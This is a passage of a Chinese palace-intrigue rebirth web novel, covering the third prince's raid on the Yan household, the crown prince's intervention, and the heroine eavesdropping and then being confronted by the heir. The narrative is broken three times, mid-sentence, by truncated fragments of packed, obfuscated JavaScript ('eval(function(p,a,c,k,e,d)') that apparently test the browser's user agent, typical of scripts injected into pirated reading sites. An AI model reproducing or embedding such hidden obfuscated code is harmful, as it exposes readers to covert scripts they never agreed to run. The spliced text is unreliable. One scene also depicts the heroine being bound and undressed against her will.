“哈哈哈哈,太子殿下这么好的口技怎么不去说书啊,做个太子,岂非屈才?”李元彻狂逆恣雎的笑声翻滚在夜浪中,须臾,他笑够了,乜眼打量着李元洵,“太子殿下别装了,你连十率府的兵马都带来了,分明就是蓄谋已久,我算是看出来了,你们两个是一伙的!” 李元洵不置可否,他快步向时倾尘走了过去,“燕世子,你受伤了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李元洵把话说到了这个份儿上,时倾尘不好再拒绝,只得挽起袖口,让张嵩给自己把脉,张嵩把着把着,眉头不由得皱了起来,李元洵见状忙问。 “可有什么不妥之处吗?” 张嵩迟疑了一下,依他所见,时倾尘脉象孱弱,的确不像习武之人,不过,有一点着实蹊跷,从脉象上看,时倾尘昨夜有用过迷香的痕迹,而根据燕王府传出来的消息,时倾尘昨天白天才挨了八十大板,晚上居然还能生龙活虎地去做这种事,这体力真是出奇的好啊…… 张嵩欲言又止,不知如何回话。 时倾尘打量着张嵩古怪的表情,心中大为不解,他分明已经将自己的内力掩藏得很好了,按说不应该被人发现啊。 “张太医,我的伤势如何?” 张嵩回过神来,掩鼻轻咳,“不妨事的,燕世子好生修养两日,自然就无碍了。” 时倾尘微一颔首,“有劳。” “如此,本宫也能放心了。” 李元彻很是不屑地“啧”了一声,“太子殿下还真是生了一颗仁善之心啊。” 李元洵脸上隐隐浮出一丝怒色。 “三弟,你滥用私兵,擅闯王府,还伤到了燕世子,你还有什么好说!还不快向燕世子请罪赔礼!” 李元彻连话都懒得讲,提步便走。 李元洵简直忍无可忍,“拦住他!” 门上骁卫立时横刀。 李元彻身形微顿,他低低笑了一声,偏头睨了李元洵一眼,一张脸一半埋于深夜,一半被刀光映得惨白。 “怎么,太子殿下终于装不下去了吗?这是要对本王动手?” “允格,你我兄弟,本宫不会对你动手,但你今日擅闯燕王府,本宫不能不给人家一个交代,本宫会将你押回长安,交给父皇处置。”说罢,李元洵扬了扬手,“来人,给本宫将宁王拿下!” “哼,我看谁敢!” 李元彻一声令下,他的亲卫纷纷拔剑护在他的身前。 一时间,场面大乱,宁王府的亲卫和十率府的府兵刀刃相向,僵持不下,凤箫担心时倾尘的安危,立时率众飞身而至。 时倾尘淡淡吩咐,“你们去梨花苑保护梨容。” 凤箫愣了一下,“可是少主这里——” 说话间,李元彻已经突破重围,几个凌空踏步赶往梨花苑,他的唇角勾起一丝邪笑,去他的祖宗规矩,去他的忤逆狂悖,只要能找到她,他什么都不在乎。 时倾尘眸光一紧,他来不及多想,从地上拾起一把剑,快步追上。 李元洵望着李元彻和时倾尘一前一后的背影,怔了一怔,“张嵩。” “臣在。” “你方才给时倾尘诊脉的时候,可曾发现什么不妥之处?” 张嵩已近大衍之年,此刻见问,老脸涨得通红,“回太子殿下,臣观燕世子的脉象沉细而迟,这是身体孱弱又兼重伤的缘故,可见确非习武之人,只有一件事,臣觉得有些蹊跷,不知当说不当说。” “你怎么还卖起关子来了,快说。” “燕世子昨夜似乎用过催情的香料。” “催情的香料?不是都说这位燕世子不近女色吗,怎么,受伤之后还有心思去找女人欢好?”李元洵眉头不自觉微微一皱,“覃昭,昨夜燕世子可有出府?” 十率府中郎将覃昭拱手,“并无。” 李元洵笑了笑,“哦?这倒有些意思,走,我们也去瞧瞧燕世子的这位表妹。” 21. 壁上观 第二卷云来去,数枝雪 二十一、壁上观救她 梨花苑。 剪水梨花溶溶月,云裁柳叶淡淡风。 露浓霜重,莺儿给沈衔月披了件衣裳。 沈衔月浑然不觉,只管盯着案上的棋盘细看,经纬间,黑白两子相争相环,正呈难解难分之态,这是她根据上一世记忆梳理出来的朝中局势。 黑子,喻李元彻。 白子,喻李元洵。 大徵皇帝李承赫中匮乏人,宗嗣不济,当今的东宫太子李元洵乃是淑妃林婷所生,林婷出身江南林氏,其内侄林甫官拜盐铁转运使,主水利,监漕运,掌天下财赋大权。 沈衔月之父沈扶澜曾为帝师,她幼时便听父亲讲过,这位皇帝绝非贪恋儿女情长之人,他选择淑妃的儿子做大徵的储君,无疑有着自己的考量。 大徵建国之初仰赖兵戎剑戟之利,大杀四方,所向披靡,但随着疆域的日益扩大,人口的不断增多,关中地狭土瘠,已经无法供养天下百姓,大徵皇帝不得不开渠运粮,将江南的瓷、绢、茶、米源源不断地送入都邑长安。 所以,与其说是李承赫选择了李元洵,不如说是大徵捉襟见肘的赋税困境选择了江南财阀,但是若想荣登大宝,仅凭财权,无疑是不够的。 沈衔月依稀记得,上一世的永宁八年,夷狄大举来犯,李元洵领命抗敌,结果出师不利,大败而归,皇帝这才惊觉,他选择的这位太子仁德有余,才干不足,若逢治世,或可做个守成之君,若逢乱世,恐难扶绥万方之众。 在李元彻的蓄意挑拨之下,李元洵逐渐失去了皇帝的欢心,以至于最后,皇帝将象征着皇家兵权的金吾卫交给了李元彻统领,不过,皇帝始终没有下定易储的决心,他在李元洵和李元彻之间摇摆不定,将政权交给了李元洵和沈扶澜,将兵权交给了李元彻和时倾尘。 起初,沈衔月并不理解皇帝的安排,由于她的婚约,沈扶澜便是李元彻一党,而时倾尘又和李元彻不睦已久,这个安排怎么看怎么奇怪,后来她才明白,这是帝王驭术,皇帝借此使得财、兵、政三权分立,太子、三皇子、朝臣互为掣肘。 为人君者,疑心深重。 李承赫忧子不成器,难当大任,又惧子太争气,祸及自身。 永宁十年,天灾人祸此起彼伏,内忧外患一触即发,大水漫灌堤坝,淹没良田千倾,沿途河渠淤塞,黎民食不果腹,李元洵奉旨巡视江南河道。 与此同时,夷狄再次蠢蠢欲动,几骑小兵趁着互市的当口,在大徵边境烧杀抢掠,无恶不作,李承赫忍无可忍,他命时倾尘率军远赴北疆,征讨燕北十六州。 彼时,李元洵和时倾尘都不在长安,李元彻手握禁苑兵权,决心放手一搏,他打着大婚的幌子起兵谋反,逼宫篡位。 之后的事,沈衔月无从得知。 因为,她死在了永年十年…… 思及此处,沈衔月的神情陡然一凛,李元彻说,他也死在了永宁十年,如果他所言不虚,这棋盘之外还有一只无形之手,一直在悄无声息地搅弄天下风云…… 这个人隐藏在暗处,先是将太子李元洵拉下储君之位,而后又挑逗勇猛有余,才智不足的李元彻举兵谋反,而他则作壁上观,尽收渔翁之利。 “哗啦”一声。 燕亭檐下悬着的占风铎铃铃作响。 似有破空而来的剑啸声,她神情稍顿,抬指拨弄着棋盘上的黑白二子。 这局棋并不难解,难的是棋盘之外的那只手究竟意欲何为? 今晚李元洵、李元彻、时倾尘三人齐聚燕王府,那么,那个隐藏在棋局背后的人也就有可能浮出水面,只要找到了这个人,她就能知道永年十年的始作俑者究竟是谁,她就能知道时倾尘是否无辜,她就能知道自己该去向谁报仇雪恨…… 沈衔月深吸一口气。 她推开窗,素华如洗,梨花尽染,她在这仲夏之夜嗅到了一丝杀意。 这个人,会是谁呢? * 梨花苑外,李元彻大步而至。 燕王府的守卫执剑上前,“三皇子,此处是王府女眷内宅,无诏,不得擅入!” 李元彻扫了眼他们,不以为意地扬了扬眉,“哼,就凭你们几个也想拦住本王?真是不自量力!本王好心提醒你们一句,按照本朝律法,凡以下犯上,伤及皇子者,杀无赦,你们动手之前,最好掂量掂量自己有几条命!够不够砍头的!还不都给本王滚开!” 守卫们听了这话,面面相觑,一时摸不准该怎么办。 李元彻懒得和这几个守卫废话,正欲拔剑,忽然听得当空一声锐鸣,再抬眼时,时倾尘已然将手中剑抵在了他的颈侧。 李元彻咬牙,“时倾尘!你放肆!” 时倾尘淡淡一笑,“三皇子莫要忘了,依大徵律,世子皇子械乱致伤,为保公允,理应交由三司会审,怎么,殿下打算同我往大理寺、刑部、御史台走一遭吗?” 李元彻眯眼打量着时倾尘,半晌,冷冷勾唇,“燕世子,你当真要为了一个八竿子打不着的表姑娘得罪本王吗?你就不怕,因为此事引起父皇的猜忌,招致你们时氏一族的祸端!还是说,你觉得她一个人比时氏一族还重要!嗯?” 时倾尘握剑的手不由一紧。 正在此时,燕王时玄钧大步而至。 “都给本王住手!尘儿,把剑放下!” “父亲,是他擅闯内院在先!” “放下!” 时倾尘抿了抿唇,翻腕收剑。 时玄钧看向李元彻,“三皇子无故擅闯本王的府邸,是否该给本王一个交代?” 李元彻略拱了拱手,“本王醉酒,走岔了路,这个理由,燕王可还满意?” “既如此,来人,送三皇子回去!” 李元彻轻蔑哂笑,扬手推开几个上前扶他的仆僮,“滚开,本王自己会走。” 他佯作走势,转身时,却从袖中抖出火折子,往梨花苑奋力一抛,既然不让他进,他就用火把里面的人逼出来! 时玄钧大惊失色,“容儿还在里面!救火!快救火!” 话音未落,忽见一人凌空一跃,徒手握住了堪堪将落的火折子,在场之人俱是怔了一怔,旋即行礼,“参见太子殿下。” 李元洵的手已然被炽火燎伤,他盯着李元彻,寒声道,“三弟,这个结果,你可还满意?” 李元彻不可思议地看向李元洵,末了,却是一笑,“太子殿下为了拉拢燕王府,还真是不遗余力啊,佩服佩服!” “十率府何在!” “末将在!” “三皇子李元彻悖逆妄行,举止狂浪,本宫不能不处置,覃昭,将三皇子拿下!” 李元彻放声大笑,“本王是否有罪,父皇自会定夺,太子,你别得意的太早了!” 时玄钧上前一步,神情忧切,“太子殿下受伤了?” “无妨。” “尘儿,你快去给太子殿下……”时玄钧话说一半,陡然住嘴,不知何时,时倾尘消失不见了,时玄钧环顾四下,焦急询问,“尘儿呢?他去哪了?” 凤箫悄悄咽了口吐沫,他方才瞧得真真的,几乎在李元彻扬臂掷火的同一时间,时倾尘冲入了梨花苑中,李元洵是去救火,而时倾尘是去救梨容。 只是时倾尘的动作实在太快,再加上众人的目光都集中在太子李元洵的身上,无人发现时倾尘已经抢先一步进了梨花苑。 “凤箫?” “咳咳,少主似乎去救表姑娘了。” 说话间,时倾尘从人群中翩跹而出,走到李元洵面前,敛袖一揖,拱手而拜,“多谢太子殿下主持大局。” 李元洵看了眼梨花苑,又看了眼时倾尘,纳闷道,“奇怪,你是怎么进去的?又是怎么出来的?” 时倾尘眉头微皱,似是不解,“太子殿下此言何意?” 李元洵同样一头雾水,他挠了挠脑袋,指着凤箫说道,“刚刚时伯父寻不见你的人影,这位小兄弟说你去梨花苑救人了,可本宫并未瞧见你进去啊,还没想明白,你就又出来了,所以觉得奇怪。” 时倾尘闻言一笑,“凤箫应该是看错了,我方才看见太子殿下受伤,想着赶紧去为殿下找郎中,结果走到一半忽然想起,殿下身边有随行的太医令,何须我再去找人,于是便回来了。” 凤箫闻言,连忙跪下,“小人眼拙,太子殿下恕罪。” 李元洵摆了摆手,他本来就是为了拉拢时倾尘,自然不在意时倾尘刚刚到底去了哪里,所以只说,“无妨,起来吧。” 时倾尘略一思忖,说道,“夜深了,太子殿下手上有伤,不宜挪动,殿下若是不嫌弃,不如,今晚就歇在我的听澜苑吧,殿下可命覃昭将军带着十率府的兵马随行护卫,以保万全。” 时倾尘此言有三。 其一,李元洵是为了救人才受伤的,燕王府对此必须有所表示;其二,李元彻没能看到梨容的长相,他难免贼心不死,再生是非,有太子府兵在此,想来李元彻的人也不敢放肆;其三,不知为何,时倾尘总觉得今晚的事颇为古怪,他想要和李元洵聊上一聊,探得一二。 李元洵欣然允诺,他立刻吩咐覃昭带人同燕王府的护卫一起警戒巡防。 时玄钧想去看看梨容有没有受惊吓,但碍于这么多人在场, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可殿下不是一直很看重燕世子吗,就不怕燕世子同太子交好,最后扶他登基?” “不会,且不论本王与天澜相交十年之久,便是太子其人,本王也是深知的,太子性情过于仁厚,绝非开疆拓土之君,本王能看到的,天澜不会看不到,所以本王并不担心,不过嘛……”李元芳话锋一转,咧嘴一哂,“不过,天澜对这个表妹的情谊,我却有些看不明白了,本王倒是好奇,她究竟生得如何惊为天人,竟将不食人间烟火的天澜也给迷住了。” “可要属下入梨花苑一探?” 李元芳一抬手,“不必,本王将你放在燕王府,还有更长远的打算,你不要因此暴露了身份,这件事,本王亲自去查。” “是。” * 听澜苑。 门上府兵拦住了两个侍女打扮的人。 “你们是什么人?不知道太子殿下今夜在此下榻吗?闲杂人等,速速离开。” “我叫莺儿,是梨花苑的侍女,表姑娘听闻太子殿下受了伤,心里很是过意不去,亲手调制了一味凝神静气的香料,让我们给太子殿下送过来。” “香料?什么香料?” 莺儿打开剔红描金香盒,笑道,“此香名唤九和香,味辛性散,可以舒缓疼痛。” 府兵稍一拧眉,覃昭此前特意叮嘱过他们,不得对燕王府的人无礼,再看看这两个女子,手不能提,肩不能扛,放她们进去应该也没什么事吧,他正在犹豫,恰巧看见了太医令张嵩,忙道,“张太医,烦请帮忙看看这味香料有无问题。” 张嵩抬指捻开少许香粉,放在鼻间仔细嗅了嗅,“此香确有凝神止痛之效。” 府兵这才放人。 “撂下香料就出来,不可久留。” 二人称是,旋即往里走,莺儿悄声问,“姑娘,我们是要去找世子殿下吗?” 沈衔月摇摇头,“不,我们悄悄绕进隔壁,听听李元洵和时倾尘在聊什么。” “啊?这样会不会太危险了?万一被太子殿下当成刺客杀了怎么办?” “有时倾尘在,你怕什么?” “可是……” “你若怕,我自己去就是。” “不,我不怕,我要跟着姑娘。” 沈衔月一笑,“好,那就走吧。” 22. 好美色 二十二、好美色金屋藏娇 李元洵一直怀疑时倾尘和建安盟有所往来,所以他在时倾尘的屋中走来走去,美名其曰“逛一逛”,他希望能找到一些蛛丝马迹,以此印证自己的猜想。 时倾尘陪着他逛,眼见他的脑袋都快探进砖缝了,不由得扬了扬眉,“太子殿下在找什么?要不要我帮你找?” 李元洵捏拳掩唇,战术性咳嗽了两声,“没有没有,本宫就是随便逛逛,燕世子,你这屋子不错啊,真是不错!” 时倾尘堪堪扯出一丝笑容,这个人就差把“我在找线索”写在脑门上了,他忍不住暗自腹诽,太子殿下,您究竟是怎么当上大徵储君的,就靠投了个好胎么…… 说话间,二人已经走到了卧榻前,李元洵伸出手,正要把卧榻上的帘幔掀开,时倾尘抢先一步,将他“请”回了堂屋。 时倾尘不能容忍自己的床被一个陌生人肆意窥视,更何况,这个陌生人还是一个男子,时倾尘没这个癖好,也不打算惯着这位多少沾点傻气的太子殿下。 李元洵看出了他的不悦,连忙解释道,“燕世子,你千万别多心,本宫是怕你的房间里藏了刺客,所以才检查得仔细了些,若有冒犯之处,还请燕世子见谅。” “太子殿下说笑了,今夜多亏太子殿下援手,不然这场闹剧还不知道要如何收场,不过,刺客一事,太子殿下大可放心,燕王府上下防卫周密,夕惕若厉,绝对不会有什么刺客。” “哦?是吗?”李元洵不置可否地笑了笑,他从袖中抽出三张字条,依次摊在时倾尘的面前,“那么燕世子怎么解释这个?” 时倾尘微微皱眉,他认得其中的一张字条,他在听闻李元彻夜闯燕王府之后,派凤箫去太子别苑求助,这张字条正是他亲手所写,不过另外两张字条他从未见过。 “这是?” 李元洵神情颇有几分得意之色,像是勘破了什么了不得的大案,他抬指敲了两下八仙桌,不疾不徐地说,“今夜本宫原本已经打算歇息了,结果一连收到了三张字条,一张是你派人送来的,还有两张,送信人没有留下姓名,本宫一面点兵赶往燕王府,一面派人去调查另外两个送信人,燕世子,你猜本宫发现了什么?” “太子殿下发现了什么?” “其中一人,正是你们燕王府的侍女!” 一墙之隔,沈衔月揉了揉眉心。 莺儿以为沈衔月在怪自己,她连忙摊摊手,小声为自己分辩,“姑娘,你不能怪我啊,我就是个普普通通的侍女,自然没有来无影去无踪的本领。” 沈衔月摇摇头,她并没有责怪莺儿的意思,她只是在想,另一个人是谁?这个人,会不会和永年十年的事情有关?这个人,会不会就是棋盘之外的那只手? 四下岑寂,空气躁动,她的心跳不自觉加快,她感觉自己离真相越来越近了。 沈衔月勉力稳了稳心神,她把脸贴在排气孔上,想要看得更清楚些。 另一边。 时倾尘拈起两张字条,素笺墨痕在他的指尖翻飞,“另一个人呢?” “另一个人嘛,”李元洵轻咳一声,“他的身手实在太好,本宫派去的亲卫没追上,不过呢,本宫已经凭借自己的聪明才智将整件事情的来龙去脉想清楚了!” 时倾尘这回倒是有点佩服李元洵了,他正了正神色,“愿闻其详。” 李元洵抬身起来,他把手负在背后,自信不疑地说,“很简单,这两个人呢,一个是倾慕你的侍女,她在得知你有危险之后,第一时间不计生死跑到本宫的别苑求救,另一个呢,则是建安盟的人,他们一直在暗中监视燕王府,看到情况不对,就赶紧来找本宫了。” 时倾尘扯了扯僵硬的唇角,呃,这就是他口中的聪明才智么,还真是…… 大智若愚。 李元洵见时倾尘不作声,复又一叹,“燕世子,依本宫看,这个建安盟的盟主太不是东西了,建安盟又不是没有兵马,他不立刻救你,反而找人知会本宫,让本宫和三弟互相残杀,真是其心可诛!所以燕世子,要是建安盟派人拉拢你,你千万不要轻信,鬼知道他们安的什么心。” 时倾尘眼前一黑。 他骂自己不是东西?还当面骂? 李元洵瞧见时倾尘难看的表情,试探着问,“燕世子?” “嗯,太子殿下所言甚是,我会命人查明此事,多谢太子殿下提醒。” 李元洵满意地拉他坐下。 “燕世子,此处没有外人,你和本宫说实话,你到底有没有建安盟的线索,你也知道,本宫这个太子当得艰辛,建安盟一直是父皇的心腹大患,如果能查到建安盟的下落,本宫在父皇跟前也是大功一件啊,你放心,本宫以后要是发达了,一定不会忘记你的。” “太子殿下怎么就认准了我和建安盟有联系呢?” “谁不知道,当年大徵内忧外患迭起,燕王府和建安盟外抗夷狄,内匡王道,同仇敌忾,往来甚密,如果建安盟还存在于世的话,不可能不派人来找你。” 时倾尘似乎笑了一下,烛火轻曳,他凝视着跃然纸上的半抹壁光,轻声说,“太子殿下也知道,当年,是燕王没有守好燕北十六州,致使故土沦丧,百姓离乱。”他深吸一口气,“这样的怯懦之徒,无勇,无义,不忠,不信,怎么配入建安盟的眼?建安盟素以匡扶天下正道为己任,如果建安盟真的派人来找我,也该是杀我,而不是救我,不是吗?” 李元洵张了张嘴,一时不知道该说些什么。 金灯华彩,万丈辉煌,时倾尘落在莲花烛台上的眸光清冷而又慈悲。 不知为何,李元洵看着这样的时倾尘,耳畔不自觉回响起那个人的声音,“燕王守卫大徵江山百余年,何故为了一个女子,断了大徵百年基业,毁了先祖几世威名,太子殿下不觉得这其中有蹊跷吗?” 李元洵沉默半晌,忽然开口。 “燕世子,我信你。” 时倾尘微怔。 “太子殿下说什么?” “我说,我信你,本宫相信当年之事另有隐情,本宫相信燕王府是无辜的,如果燕世子愿意助本宫一臂之力,本宫必当投桃报李,还燕王府一个清白。” 时倾尘的喉结滚动了一下。 这是十八年来,他第一次听见“清白”两个字,他十指内扣,在掌心镂出一道浅淡血痕,他把手虚掩在雪白的袖袍之下。 “此案早有定论,我想知道,殿下为什么会选择相信燕王府?” 李元洵笑道,“说来也是一段奇遇,机缘巧合,本宫日前得见一位神女,她能言过去,能知未来,既然她说当年燕北十六州一事有蹊跷,那就一定有蹊跷。” 时倾尘微一挑眉,这个答案并不在他的意料之中,“她姓甚名谁?家住何处?” “奇就奇在这里,她说自己名唤天尤,是春风馆的姑娘,可本宫后来派人去查,春风馆根本就没有这号人,你说她是不是天上的神仙!” 时倾尘思忖着说,“天尤,即是一个‘无’字,所以,她从一开始就没打算以真面目示人。” “嘶,好像还真是啊。” “殿下是在哪里遇到这位女子的?” “就在杏花村,你昨日不是在杏花村宴请本宫和三弟嘛,本宫去更衣的时候,被杏花村的伙计请到了她那里,本宫见她谈吐不俗,气质过人,不由得信了两三分。” 时倾尘眸光微动。 昨日、春风馆、杏花村。 天下哪有那么巧的事,时间地点连在一起,他大概猜到这位“神女”是谁了。 “她和殿下说什么了?” “她说,一年之后,北疆动荡,本宫领命出征却大败而归,失去了父皇的欢心。” “一年之后?嗤,这样的无稽之谈,殿下也相信?” “本宫原本也是将信将疑,直到今日一早,北境探子来报,北凉的拓跋浩在王室内乱中脱颖而出,成为新一任的北凉国主,此人好战嗜武,野心勃勃,刚登基就从西番购置了千匹良驹,还通过互市囤积了大量粮草,这不就是秣兵历马的先兆吗,可见,神女所言不虚。” 时倾尘从来不信神佛之说,尘寰若海,人世间有那么多人都在苦苦挣扎着,若说有甚么区别,不过是有的浮在水面上,有的溺死在海底,可都在苦海里啊,倘若真有神佛,他们为何不救? “殿下可还记得这位女子的容貌?” “绝对是倾国倾城,不可方物,只可惜,她带了面纱,本宫没看清她的模样。” 时倾尘忍不住笑了出来,“殿下都没看见她的样子,怎么知道她倾国倾城呢?” “这你就不懂了吧,美是无法被俗物遮蔽的,美是一种感觉,她就是这种感觉。” …… 莺儿听着李元洵的高论,悄悄拉了一下沈衔月的袖子,掩唇笑道,“姑娘,你别说,这位太子殿下还挺有眼光的。” 沈衔月抬指,打了一个“嘘”的手势,却不小心碰到身侧的花瓶,花瓶应声落地,二人面面相觑,意识到事情有些不妙。 …… 几乎是同一时间,时倾尘和李元洵的谈话戛然而止。 “什么声音?” 李元洵警觉地扫了眼四周,高声喝命,“覃昭!有刺客!抓刺客!” 时倾尘眉头微皱,他喜欢清静,从来不准别人进入他的屋子,就连凤箫、研墨、青崖、断舟几个若无吩咐,等闲也不得擅入,怎么会突然传来这么一声响动?这个声音听起来有点发闷,不像是这个房间里的动静,倒像是隔着砖墙传过来的。 难道,隔壁有人? 时倾尘下意识看向排气孔的方向,正好和沈衔月的视线对上。 这一眼,恰如飞鸿踏雪,又似星河潋滟,刹那万籁生灭,二人俱是一怔。 沈衔月抿了抿唇,她不能让李元洵发现她就是那个“神女”,这么想着,她望向时倾尘的目光不由得多了几分祈求。 时倾尘见她如此,先是一愣,继而浅浅一笑,似是无声的允诺。 这时,门外传来了嘈杂急促的脚步声。 “这间屋子查过了吗?” “还没有。” “你们几个进去看看。” “是!” 几名府兵才要推门,忽听一声“且慢”。 众人循声看去。 时倾尘从隔壁房间走了出来,身后还跟着有点发懵的李元洵。 覃昭抱剑行礼,“参见太子殿下,世子殿下,臣护驾不力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李元洵还从未见过时倾尘这副样子,他愣了一下,随即开怀大笑,“既然是一场误会,覃昭,你就不必再搜了。”他的目光扫过时倾尘怀中的女子,又是一笑,“没想到啊,燕世子这么清贵的人品有朝一日也会为了女子倾心,有句话怎么说的来着,哈哈哈哈哈,英雄难过美人关!” 时倾尘神情始终淡淡,“太子殿下说笑了,夜深了,我已经命人收拾好了殿下的下处,殿下不妨过去一观,若有什么不妥之处,我再为殿下重新置办。” “放心,本宫懂,本宫都懂。”李元洵从时倾尘身边走过时,重重拍了一下他的肩,笑道,“春宵一刻值千金,本宫就不打搅你的好事了,燕世子,好乐啊。” 时倾尘还是第一次被人如此打趣,他面如冠玉,岿然而立,唯有掩藏在夜色中的耳根,浮上了一抹淡淡的红。 一时间,李元洵一行人走远了,乌云濯褪,风月清朗,那抹红越来越热,他想要忽视都不能,他扫了眼廊下诸人。 “用不着这么多人伺候,都下去吧。” 几名府兵迟疑道,“可太子殿下吩咐我等好生保护燕世子……” 凤箫不待他们说完,疾跃上前,厉声呵叱,“没听见殿下的话吗?速速退下!” 府兵们面面厮觑,他们飞快交换了一下眼神,旋即行礼告退。 凤箫叉着腰,冲时倾尘得意地一扬下巴,他今年不过十六岁,顾盼间,眉梢翻飞着孩子般的神采,“少主,没事啦,我把他们都给撵跑啦!” 时倾尘略一点头,又说,“凤箫,莺儿,你们两个也下去吧。”一语未了,他感觉怀中人似乎笑了一下,她温暖香软的气息萦绕在他的衣襟处,他忍不住勾唇。 莺儿应了声“是”,便出去了。 凤箫却是一动不动,“少主,我也要出去吗?有什么事是我不能听的?” 时倾尘折身回行,淡淡吩咐,“凤箫,你带着研墨他们守在外头,今晚,一个人都不准放进来,若有差池,唯你是问。” 凤箫不言语,他望着二人的袖袍随风倾曳、交叠,仿佛在滟滟流月中荡漾开一片片葳蕤水光,不由得陷入深思,他从未见少主这样抱过任何一个女子。 难道,他的少主真的动情了? 凤箫愣了一下,继而咧咧嘴,扬起一个灿烂的笑,这可是一件大好事,少主过得太苦,一心一意惦念着燕北十六州,从来不在男女之事上留心,这怎么行呢,这回可好啦,少主终于开窍了! 他还没高兴完,突然想起一件事。 之前少主让他去调查“梨容”的真实身份,他为了报答风鹤的救命之恩,对少主说了假话,所以在少主的心中,“梨容”是他的妹妹,他怎么可能和自己的妹妹发生什么呢…… 凤箫这个悔啊。 他正犹豫着要不要进去找时倾尘坦白,忽听里面传来两声低吟。 “时倾尘你放开我……” “别动……” 凤箫目瞪口呆地怔在当地,他正是血气方刚的年纪,这会子听了这个,一下子就脑补出屋中正在发生的事情,他低下头,红着脸,轻手轻脚地溜走了。 少主这个人一向清矜自持,要是让他发现自己撞见了他这么没脸的事,还不得罚自己练一宿的剑呀,凤箫打定主意—— 此事,容后再议。 眼下,先跑为上! 23. 雪龙吟 二十三、雪龙吟怎敌她眼尾一点朱砂 时倾尘的身量颀长苍劲,行动时,竹月色织金缂丝缠枝纹衣袂流光潋滟,仿佛掬着一池春水,映在他的眼帘深处,她仰起脸,冲他真挚一笑,“方才,多谢你。” 刹那间,月华流沙,银汉簌簌而落,两三行拂落青丝乌发,灯花微漾,呼吸凝作胭脂,怎敌她眼尾一点朱砂。 他将她抱得更紧了些,暧昧透过轻薄质感的丝缕,漫出一丝丝沙哑。 “梨容。” “嗯?” “你和三皇子究竟是什么关系,他为什么要发了疯似的寻你?” 沈衔月才要说话,却见他摇摇头,似是叹了口气,“不要骗我,我要听实话。” 她闻言,不觉一怔,抬眼看他。 他很好看,山水眸中晕染着淡淡的光泽,三分疏离似月,三分清冷似雪,三分漆黑似夜,还有一分,宛如掩藏在无声处的千丈风雪,看似涟漪微动,实则,水面之下,早已波涛汹涌。 “你要听实话?” “嗯。” 不知为何,她轻声笑了一下,“好啊,我告诉你,我和李元彻做过夫妻。”她顿了顿,补充道,“名副其实的夫妻。” “名副其实的夫妻……” 时倾尘怔怔呢喃了一遍,声音中掺杂着破碎的残痛,“你是说,你和李元彻……不,我不信,梨容,你骗过我许多次,你在骗我,你又在骗我,对不对?” 他的容色苍白,如冷玉,似残雪。 她望着这样的他,忽然有点于心不忍,可是那又如何,上一世,她深爱着他,几乎卑微到了尘埃里。 可是他呢,他不屑一顾,他漠然视之,若不是他,她怎么会瞎了眼睛,嫁给了李元彻那个混蛋,若不是他,她又怎么会在大婚之日被李元彻那样羞辱强迫。 他不是要听实话吗? 这就是实话! 沈衔月说不清自己对时倾尘是何种感情,这世上的感情千千万,可说到底,不过是爱恨两个字罢了,恨到极致,可以杀人,爱到极致,同样可以杀人。 爱恨殊途同归,正如慈悲和杀念都是弹指间的刹那芳华。 她爱他。 也恨他。 “沈衔月弯了弯眉,似笑非笑地看着他,“这样的事,我为什么要骗你?我骗你能落得什么好处?不信的话,你自己看。” 说着,她轻抬手腕,上面的薄纱翩跹而落,露出玉藕般白皙纤柔的小臂,她的肌肤细腻光滑,完美无瑕,在月色中泛着珠瓷一样的光泽。 时倾尘有片刻的失神,他分明记得,他曾经在她的腕上看见过一粒小小的守宫砂,可是现在,那粒守宫砂却不见了,他的眸子陡然一凛,“你的守宫砂呢?” 她别开眼,无所谓地笑了笑,扬起的唇角挂着一抹说不清的苍凉,“没了,早就没了,上一次才是骗你的,我不是和你说过了么,我和李元彻有过男女之……” 他不待她说完,伸手将她锢入怀中,摇头道,“别说了,我不想听你说这些。” 说来好笑,他是想听实话,可他更想听自己愿意相信的实话。 她微微一怔,试图挣扎出他的怀抱。 “时倾尘你放开我……” 他俯下身,望向她的眼眸漆黑杳邃,深处仿佛燃烧着灼灼烈火。 烧夜续昼。 万籁辉煌。 “别动……” 沈衔月怎么可能不动,奈何她挣脱不开,终于还是落了下风,他单手攥住她的两只手腕,向上高举过头顶,绑在床侧的紫檀屏风架上,另一只手飞快地剥落她的衣衫,又用丝衾将她的要紧处掩好,目光只在她的小臂和裸背上仔细搜寻。 可是没有…… 什么都没有…… 他的薄唇渐次抿成一条冷削的线,一字一顿地说,“梨容,你最好不要骗我。” 她不怒反笑,顺着他的指尖仰起下巴,“时倾尘,我方才对你说的就是真话,只可惜,你不信啊,还是说,你不愿意信,你宁可我说谎骗你,是吗?” 时倾尘默了半晌,终于还是松开了她,他背过身去,淡淡道,“把衣裳穿好。” 穿你个头啊。 沈衔月把衣裳团成一个球,往他身上用力一掷,“是你脱的,凭什么让我穿!” 时倾尘随手接住她砸过来的那团香软,他没忍住,下意识看她一眼,“不然呢,难道,你要我帮你穿?” 觉察到他的目光,她的小脸白里透红,又丢了个枕头过去,“还看!登徒子!” 时倾尘来不及闪躲,枕头不偏不倚地砸在了他的青玉冠上,顷刻间,他的发丝凌空逸散,他心中微有怒火。 “梨容你讲不讲理!是你让我给你穿的,我不看,怎么给你穿?” 她不服气地反问,“怎么,你脱的时候就没想过穿?我不管,我就要你给我穿!” 时倾尘气结。 他对她虽然有那么一点说不清道不明的情愫,但他确实没想过对她怎么样,方才,若不是急于印证自己的猜想,他也不会不顾忌男女大防,即便如此,他的视线也小心避开了她的要紧处,并不曾看见什么不该看的东西,他自问无愧于她。 